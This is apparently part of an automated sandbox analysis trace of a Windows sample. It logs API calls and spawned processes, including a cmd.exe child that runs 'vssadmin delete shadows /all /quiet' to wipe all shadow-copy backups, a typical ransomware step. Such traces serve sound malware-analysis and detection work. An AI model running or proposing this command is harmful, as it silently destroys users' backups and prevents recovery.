[0057.979] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x379110 | out: hHeap=0x360000) returned 1 [0057.979] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f4b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f478 | out: lpAttributeList=0x24f4b8, lpSize=0x24f478) returned 1 [0057.979] UpdateProcThreadAttribute (in: lpAttributeList=0x24f4b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f468, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f4b8, lpPreviousValue=0x0) returned 1 [0057.979] GetStartupInfoW (in: lpStartupInfo=0x24f5d0 | out: lpStartupInfo=0x24f5d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0057.979] GetProcessHeap () returned 0x360000 [0057.979] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x20) returned 0x374640 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0057.979] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0057.980] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0057.980] GetProcessHeap () returned 0x360000 [0057.980] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x374640 | out: hHeap=0x360000) returned 1 [0057.980] GetProcessHeap () returned 0x360000 [0057.980] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x12) returned 0x378900 [0057.980] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f4f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f4a0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x24f4a0*(hProcess=0x50, hThread=0x54, dwProcessId=0x564, dwThreadId=0x80c)) returned 1 [0057.988] CloseHandle (hObject=0x54) returned 1 [0057.989] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0057.989] GetProcessHeap () returned 0x360000 [0057.989] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37eb10 | out: hHeap=0x360000) returned 1 [0057.989] GetEnvironmentStringsW () returned 0x37eb10* [0057.989] GetProcessHeap () returned 0x360000 [0057.989] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0e) returned 0x37f630 [0057.989] FreeEnvironmentStringsW (penv=0x37eb10) returned 1 [0057.989] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x24eda8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24eda8, ReturnLength=0x0) returned 0x0 [0057.989] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x24ede0, nSize=0x380, lpNumberOfBytesRead=0x24eda0 | out: lpBuffer=0x24ede0*, lpNumberOfBytesRead=0x24eda0*=0x380) returned 1 [0057.989] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x42d82000" os_pid = "0x490" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x15c" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x6dc Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x43693000" os_pid = "0x564" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x15c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x80c Thread: id = 21 os_tid = 0x81c Thread: id = 23 os_tid = 0x83c Thread: id = 24 os_tid = 0x84c Thread: id = 25 os_tid = 0x85c Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3f11c000" os_pid = "0x86c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005adc7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x900 Thread: id = 27 os_tid = 0x8f0 Thread: id = 28 os_tid = 0x8e0 Thread: id = 29 os_tid = 0x8d0 [0068.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfcda20 | out: lpSystemTimeAsFileTime=0xfcda20*(dwLowDateTime=0xeeed9700, dwHighDateTime=0x1d66148)) [0068.068] GetCurrentProcessId () returned 0x86c [0068.068] GetCurrentThreadId () returned 0x8d0 [0068.068] GetTickCount () returned 0x114738b [0068.068] QueryPerformanceCounter (in: lpPerformanceCount=0xfcda28 | out: lpPerformanceCount=0xfcda28*=18834439739) returned 1 [0068.069] malloc (_Size=0x100) returned 0x518e80 Thread: id = 30 os_tid = 0x8c0 Thread: id = 31 os_tid = 0x8b0 Thread: id = 32 os_tid = 0x87c Thread: id = 47 os_tid = 0x930 Thread: id = 54 os_tid = 0x618 Thread: id = 77 os_tid = 0x640 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 33 os_tid = 0xb10 Thread: id = 34 os_tid = 0x23c Thread: id = 35 os_tid = 0x768 Thread: id = 36 os_tid = 0x764 Thread: id = 37 os_tid = 0x758 Thread: id = 38 os_tid = 0x724 Thread: id = 39 os_tid = 0x718 Thread: id = 40 os_tid = 0x714 Thread: id = 41 os_tid = 0x630 Thread: id = 42 os_tid = 0x154 Thread: id = 43 os_tid = 0x150 Thread: id = 44 os_tid = 0x120 Thread: id = 45 os_tid = 0x118 Thread: id = 46 os_tid = 0xf0 Thread: id = 55 os_tid = 0x848 Thread: id = 75 os_tid = 0x84c Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3a521000" os_pid = "0x910" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b4a4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 48 os_tid = 0x980 Thread: id = 49 os_tid = 0x970 Thread: id = 50 os_tid = 0x960 Thread: id = 51 os_tid = 0x950 Thread: id = 52 os_tid = 0x940 Thread: id = 53 os_tid = 0x920 Thread: id = 78 os_tid = 0xbb4 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9236000" os_pid = "0x11c" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e33a" [0xc000000f], "LOCAL" [0x7] Thread: id = 56 os_tid = 0xbb0 Thread: id = 57 os_tid = 0xb0c Thread: id = 58 os_tid = 0x648 Thread: id = 59 os_tid = 0x548 Thread: id = 60 os_tid = 0x750 Thread: id = 61 os_tid = 0x6a0 Thread: id = 62 os_tid = 0x68c Thread: id = 63 os_tid = 0x680 Thread: id = 64 os_tid = 0x66c Thread: id = 65 os_tid = 0x614 Thread: id = 66 os_tid = 0x5fc Thread: id = 67 os_tid = 0x188 Thread: id = 68 os_tid = 0x140 Thread: id = 69 os_tid = 0x128 Thread: id = 70 os_tid = 0x2b0 Thread: id = 71 os_tid = 0x214 Thread: id = 72 os_tid = 0x130 Thread: id = 73 os_tid = 0x218 Thread: id = 74 os_tid = 0x1cc Thread: id = 76 os_tid = 0xba8 Thread: id = 79 os_tid = 0x7a0